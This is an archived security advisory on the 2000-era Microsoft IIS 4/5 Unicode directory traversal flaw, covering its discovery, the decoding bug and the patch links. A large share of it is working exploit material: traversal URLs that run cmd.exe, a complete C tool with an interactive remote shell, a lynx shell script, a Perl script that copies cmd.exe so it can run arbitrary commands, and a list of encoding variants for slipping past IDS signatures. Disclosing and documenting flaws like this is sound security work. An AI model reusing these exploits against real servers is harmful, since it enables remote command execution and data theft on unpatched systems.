COMMAND

    IIS

SYSTEMS AFFECTED

    IIS 4, 5

PROBLEM

    rain forest puppy (RFP) found following.  Recently he received  an
    email from Par Osterberg that directed his attention to a post  in
    the Packetstorm forums:

        http://209.143.242.119/cgi-bin/cbmc/forums.cgi?authkey=anonymous&uname=anonymous&datopic=Windows&mesgcheck=defined&gum=474&editoron=

    An anonymous person posts that they can run arbitrary commands  on
    IIS 5 (Win 2000) using the following URL:

        http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

    They  also  gave  a  sample  site  that appeared to be vulnerable.
    Following the thread shows various people trying  (unsuccessfully)
    to recreate the problem.  So  is the site listed a fake,  meant to
    *appear* vulnerable?  Was it due to a misconfiguration?

    First  RFP  tried  his  IIS5/Win2K  test  server--and  it   wasn't
    vulnerable.  However, the sample site was in China (hence the .cn)
    and they were using a UNICODE character set different than mine.

    So doing a quick search on  a search engine for sites hosting  the
    default IIS5 web page, RFP found a dozen that had foreign  UNICODE
    fonts--and all  of them  were vulnerable.   Checking a  few  other
    US-font sites resulted in them  being not vulnerable.  So  at this
    point there is enough confirmation  that there is a problem.   RFP
    can only speculate 'why' this is a vulnerability, and he figure it
    has to do something with UNICODE translation.

    However, it's still  odd.  Pulling  up vi (yes,  vi--not pico), he
    coded  a  quick  little  perl  script  that  will  check all 65535
    combinations in place of the %c1%1c in the 'exploit' URL.   Sorry,
    but no script, since it's built on whisker v2.0 code, which is not
    ready to release.

    Anyways,  the  script  chugged  through  all  65535,  kicking back
    various errors from 'Not Found', 'Authentication Required'  (?!?),
    'Read  Access  Forbidden',  and  various  API error messages ('The
    parameter is incorrect.' and 'The file, directory name, or  syntax
    is invalid.').

    But there in  the output, in  two particular instances,  RFP had a
    directory listing.   Yikes.   It seems  the values  of %c0%af  and
    %c1%9c work for IIS 5.   Curiousity getting the better of  itself,
    RFP tried it on IIS 4.  Uh oh, works there too.

    So is  it UNICODE  based?   Yes.   %c0%af and  %c1%9c are overlong
    UNICODE representations for '/' and '\'.  There may even be longer
    (3+  byte)  overlong  representations  too.   IIS  seems to decode
    UNICODE at the  wrong instance (after  path checking, rather  than
    before).

    This is  one of  the vulnerabilities  Bruce Schneier  warned of in
    one of the past CRYPTO-GRAM isssues.  The problem isn't the  wrong
    time of  path checking  alone, but  as well  a poorly  implemented
    UTF-8 decoder.  RFC  2279 explicitly says that  overlong sequences
    such as 0xC0 0xAF are invalid.

    Markus Kuhn's UTF-8 stress test file contains some tests  covering
    such problems.  It's available at:

        http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt

    (Netscape  Communicator  4.75  appears  to  have  a  broken  UTF-8
    decoder, too)  It's  a pity that a  lot of UTF-8 decoders  in free
    software fail  such tests  as well,  either by  design or careless
    implementation.

    Obviously, since this was initially posted to a public forum,  RFP
    take  no  credit  for  the  original  find--all he did was further
    develop the research.  Thanks  again to Par Osterberg for  sending
    the URL.

    While we thought this  was going to be  bigger than RDS, it  turns
    out the program execution  happens under IUSR_machine context,  so
    you're limited (e.g. you can't just grab the SAM, etc).

    Nsfocus Security Team found this bug several weeks ago.  A  member
    of their team disassembled  the IIS 5.0 (Chinese  version) Unicode
    decoding implementation, he found  a strange decoding method  when
    IIS found "%c1%hh" and "%c0%hh" (0x00<= 0xhh < 0x40)

        IIS will decode "%c1%hh" to  (0xc1 -0xc0) * 0x40 + 0xhh.
        IIS will decode "%c0%hh" to  (0xc0 -0xc0) * 0x40 + 0xhh.

    Example (Windows 2000 + IIS 5 + SP1 for Simplify Chinese version):

        http://192.168.8.48/A.ida/%c1%00.ida
        IIS said"@.ida" can't be found
        here: ги0xc1-0xc0)*0x40+0x00=0x40='@'

        http://192.168.8.48/A.ida/%c1%01.ida
        IIS said "A.ida" can't be found
        here: ги0xc1-0xc0)*0x40+0x01=0x41='A'

        http://192.168.8.48/A.ida/%c1%02.ida
        IIS said "B.ida" can't be found
        ....

        http://192.168.8.48/A.ida/%c0%21.ida
        IIS said "!.ida" can't be found
        ...

    It means you  can encode most  characters with this  feature.  For
    example:

        %c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
        %c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

    Nsfocus  guess  that  you  can  use  it  to  bypass some directory
    restriction:

        http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

    Now we get:

         Directory of d:\inetpub\scripts

        2000-09-28  15:49       <DIR>          .
        2000-09-28  15:49       <DIR>          ..
        1999-07-21  17:49              147,456 Count.exe
        2000-09-12  17:08              438,290 Count25.exe
        2000-10-13  15:03                8,867 counter.err
        2000-08-23  23:07              160,002 counter.exe
        1999-05-25  18:14                3,925 CountNT.html
        1999-07-21  17:49               64,512 extdgts.exe
        2000-08-10  15:24               46,352 ism.dll
        1999-07-21  17:49               64,512 mkstrip.exe
        1999-05-25  18:18                1,317 README.txt
        2000-09-28  15:49       <DIR>          wcount
                       9 File(s)        935,233 bytes

    We can get the content of some system files with this bug too:

        http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

    IIS deems it to be a request for a .ASP file.It will call  asp.dll
    to open the file win.ini.  For IIS 4.0+SP6(Chinese), the URL above
    failed.  It seems that IIS is getting smarter.  But Nsfocus  finds
    interesting that we can use this malformed URL to trick IIS to get
    the winnt.ini:

        http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini

    "default.asp" should be an existing .ASP file.  "a.exe" is  random
    .EXE file name.  It can be a nonexisting file.

    It looks IIS  4.0/5.0 for English  version has different  decoding
    implementation.

    Below is  code by  optyx (./iis-zang  www.madeupexample.com -i  is
    particularly scarey).   One comment  - both  > and  | (pipe) don't
    work when  passed over  http headers  (even when  encoded to ascii
    values).   This   means  people   can't  do,   fe,  echo   "owned"
    >c:\inetpub\wwwroot\default.asp.   So, unless  somebody can  think
    of  a  way  around  this,  we  doubt  kids are going to deface any
    websites.   It  also  limits   the  ability  of  writing   ftp.exe
    non-interactive scripts remotely.

    /****************************************************************************\
    **                                                                          **
    **    Microsoft IIS 4.0/5.0 Extended UNICODE Directory Traversal Exploit    **
    **      proof of theory exploit cuz it's wednesday and i'm on the couch     **
    **                                                                          **
    **       brought to you by the letter B, the number 7, optyx, and t12       **
    **          optyx - <optyx@uberhax0r.net optyx@newhackcity.net>          **
    **          t12 - <t12@uberhax0r.net>                                       **
    **                                                                          **
    **     greetz go out to aempirei, a gun toatin' gangstah' hustler' player   **
    **     motherfucker who isn't with us anymore, miah, who's GTA2 game was    **
    **     was most entertaining tonight, Cathy, who provided the trippy light  **
    **     to stare at, and to KT, for providing me with hours of decent        **
    **     conversation.                                                        **
    **                                                                          **
    \****************************************************************************/

    #include <stdio.h>
    #include <netdb.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <signal.h>
    #include <errno.h>
    #include <fcntl.h>

    void usage(void)
    {
     fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>");
     fprintf(stderr, " [-p port] [-t timeout]\n");
     exit(-1);
    }

    int main(int argc, char **argv)
    {
     int i, j;
     int port=80;
     int timeout=3;
     int interactive=0;
     char temp[1];
     char host[512]="";
     char cmd[1024]="";
     char request[8192]="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
     struct hostent *he;
     struct sockaddr_in s_addr;

     printf("iis-zank_bread_chafer_8000_super_alpha_hyper_pickle.c\n");
     printf("by optyx and t12\n");

     for(i=0;i<argc;i++)
	    { if(argv[i][0] == '-') {
		     for(j=1;j<strlen(argv[i]);j++)
		 	    {
			     switch(argv[i][j])
			 	    {
				     case 't':
				 	    strncpy(host, argv[i+1], sizeof(host));
				 	    break;
				     case 'c':
				 	    strncpy(cmd, argv[i+1], sizeof(cmd));
				 	    break;
				     case 'h':
				 	    usage();
			 	 	    break;
				     case 'o':
					    timeout=atoi(argv[i+1]);
				 	    break;
				     case 'p':
				 	    port=atoi(argv[i+1]);
				 	    break;
				     case 'i':
				 	    interactive=1;
				 	    break;
				     default:
				     break;
				    }
			    }
		    }
	    }

     if(!strcmp(host, ""))
	    {
	     fprintf(stderr, "specify target host\n");
	     usage();
	    }

     if(!strcmp(cmd, "") && !interactive)
	    {
	     fprintf(stderr, "specify command to execute\n");
	     usage();
	    }

     printf("]- Target - %s:%d\n", host, port);
     if(!interactive)
 	     printf("]- Command - %s\n", cmd);
     printf("]- Timeout - %d seconds\n", timeout);
     if((he=gethostbyname(host)) == NULL)
	    {
 	     fprintf(stderr, "invalid target\n");
	     usage();
	    }

     do
 	    {

	     if(interactive)
	 	     {
		      cmd[0]=0;
		      printf("\nC> ");
		      if(fgets(cmd, sizeof(cmd), stdin) == NULL)
		  	      fprintf(stderr, "gets() error\n");
		      cmd[strlen(cmd)-1]='\0';
		      if(!strcmp("exit", cmd))
		  	      exit(-1);
		     }

 	     for(i=0;i<strlen(cmd);i++)
		     {
	 	      if(cmd[i]==' ')
		  	    cmd[i]='+';
		     }

	     strncpy(request,
		       "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+",
		       sizeof(request));
 	     strncat(request, cmd, sizeof(request) - strlen(request));
 	     strncat(request, "\n", sizeof(request) - strlen(request));

 	     s_addr.sin_family = PF_INET;
 	     s_addr.sin_port = htons(port);
 	     memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
 		    sizeof(s_addr.sin_addr));

 	     if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
		     {
	 	      fprintf(stderr, "cannot create socket\n");
	 	      exit(-1);
		     }

 	     alarm(timeout);
 	     j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
 	     alarm(0);

 	     if(j==-1)
		     {
	 	      fprintf(stderr, "cannot connect to %s\n", host);
	 	      exit(-1);
	 	      close(i);
		     }

	     if(!interactive)
 	 	      printf("]- Sending request: %s\n", request);

 	     send(i, request, strlen(request), 0);

	     if(!interactive)
 	 	      printf("]- Getting results\n");

 	     while(recv(i,temp,1, 0)>0)
		     {
         	      alarm(timeout);
	 	      printf("%c", temp[0]);
         	      alarm(0);
		     }

     }
     while(interactive);

      close(i);
      return 0;
    }

    Marco Berkum added following.   A friend (Dimitri van de  Giessen)
    called  him  after  reading  the  article  regarding  this  remote
    execution UNICODE style bug in the IIS webserver (supposedly >4.0)
    found by a anonymous packetstorm mailer and investigated by RFP.

    He called  in another  friend (Kristian  Vlaardingerbroek).   They
    investigated  and  after  a  while  they  found  that RFP's string
    "%c1%af" worked on our english version of NT 4.0.  Playing a  bit,
    feeling  tired,  they   found  that  you   CAN  get  out   of  the
    document_root_drive to  execute cmd.exe.   Remember the  msadc RDS
    "feature" ?

    Ok, so why not use /msadc?   Its a directory placed on the  system
    drive  and  usually  accessible  through  normal  HTTP   requests.
    Knowing  this  you  would  know  that  putting  the  website  on a
    different drive than your systemdrive would not make a  difference
    at all.   You can  put it  on and  Q:\> if  you like, you're still
    possibly vulnerable.  Imagine what you could do with this:

        ----blaat.sh----
        #!/bin/sh
        lynx -dump http://$1/msadc/..\%c0\%af../..\%c0\%af../..\%c0\%af../winnt/system32/cmd.exe\?/c\+$2+$3+$4+$5+$6+$7

    Then:

        ./blaat.sh www.yourownmachine.com dir c:\\

    You need  the double  backslash to  escape it.   And voila,  a dir
    listing.   It seems  that every  different language  version of NT
    has different UNICODE chars,  didnt find out other  countries yet,
    will be easy to make in perl as RFP described.

    Most probably sample files like pagevieuw and codebrws.asp,  other
    IIS samples and other "features"  like msadc, webhits, newdsn  and
    +.htr  (%2B)  get  interesting  AGAIN  when  placed  on other dirs
    vieuwable by the dir c:\\anything command.  Get blisters  patching
    your NT.

    After the  discussion on  Bugtraq et  al on  the IIS Unicode flaw,
    following PERL script will check the existance of an 'alternative'
    cmd.exe, and pass all commands to the alternative shell, or create
    it  if  it  does  not  exists  -  making  redirection  of commands
    possible.  Credit to all that contributed:

    #!/usr/bin/perl
    # See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
    # Very simple PERL script to execute commands on IIS Unicode vulnerable servers
    # Use port number with SSLproxy for testing SSL sites
    # Usage: unicodexecute2 IP:port command
    # Only makes use of "Socket" library
    #
    # New in version2:
    # Copy the cmd.exe to something else, and then use it.
    # The script checks for this.
    # Thnx to security@nsfocus.com for discovering the cmd.exe copy part
    #
    # Roelof Temmingh 2000/10/26
    # roelof@sensepost.com http://www.sensepost.com
    
    use Socket;
    # --------------init
    if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
    ($host,$port)=split(/:/,@ARGV[0]);
    $target = inet_aton($host);
    
    # --------------test if cmd has been copied:
    $failed=1;
    $command="dir";
    @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
    foreach $line (@results){
     if ($line =~ /sensepost.exe/) {$failed=0;}
    }
    $failed2=1;
    if ($failed==1) {
     print "Sensepost.exe not found - Copying CMD...\n";
     $command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
     $command=~s/ /\%20/g;
     @results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
     foreach $line2 (@results2){
      if (($line2 =~ /copied/ )) {$failed2=0;}
     }
     if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
    }
    
    # ------------ we can assume that the cmd.exe is copied from here..
    $command=@ARGV[1];
    print "Sensepost.exe found - Executing [$command] on $host:$port\n";
    $command=~s/ /\%20/g;
    my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command HTTP/1.0\r\n\r\n");
    print @results;
    
    # ------------- Sendraw - thanx RFP rfp@wiretrip.net
    sub sendraw {   # this saves the whole transaction anyway
            my ($pstr)=@_;
            socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                    die("Socket problems\n");
            if(connect(S,pack "SnA4x8",2,$port,$target)){
                    my @in;
                    select(S);      $|=1;   print $pstr;
                    while(<S>){ push @in, $_;}
                    select(STDOUT); close(S); return @in;
            } else { die("Can't connect...\n"); }
    }
    # Spidermark: sensepostdata

SOLUTION

    Patch availability:

        - IIS 4.0: http://www.microsoft.com/ntserver/nts/downloads/critical/q269862
        - IIS 5.0: http://www.microsoft.com/windows2000/downloads/critical/q269862

    The IIS  4.0 patch  can be  installed on  systems running  Windows
    NT(r) 4.0 Service Packs 5 and 6a.  It will be included in  Windows
    NT 4.0  Service Pack  7.   The IIS  5.0 patch  can be installed on
    systems running either Windows(r) 2000 Gold or Service Pack 1.  It
    will be included in Windows 2000 Service Pack 2.

    If you applied the patch  provided in MS00-57 from August,  you're
    not vulnerable.  By some lucky happenstance, that patch also fixed
    this particular vulnerability.

    Anyway to solve  a security issue,  Microsoft has decided  how you
    can or can't name your own folders?  Specially when ".com" is  the
    most widely used TLD on  the Internet... so expect to  have broken
    situation after applying patch.

    Just a quick note to add.   Too many people are now just  creating
    new signatures on  their IDS to  "protect" their servers  based on
    the  recents  advisories  where  appears  only exploit information
    with:

        %c1%1c
        %c0%af
        %c1%9c

    Is just a misunderstanding there are too many ways to exploit this
    bug..doing a quick search:

        GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir (C-1-PC)

    this is just in the range c0 00 to c2 00...!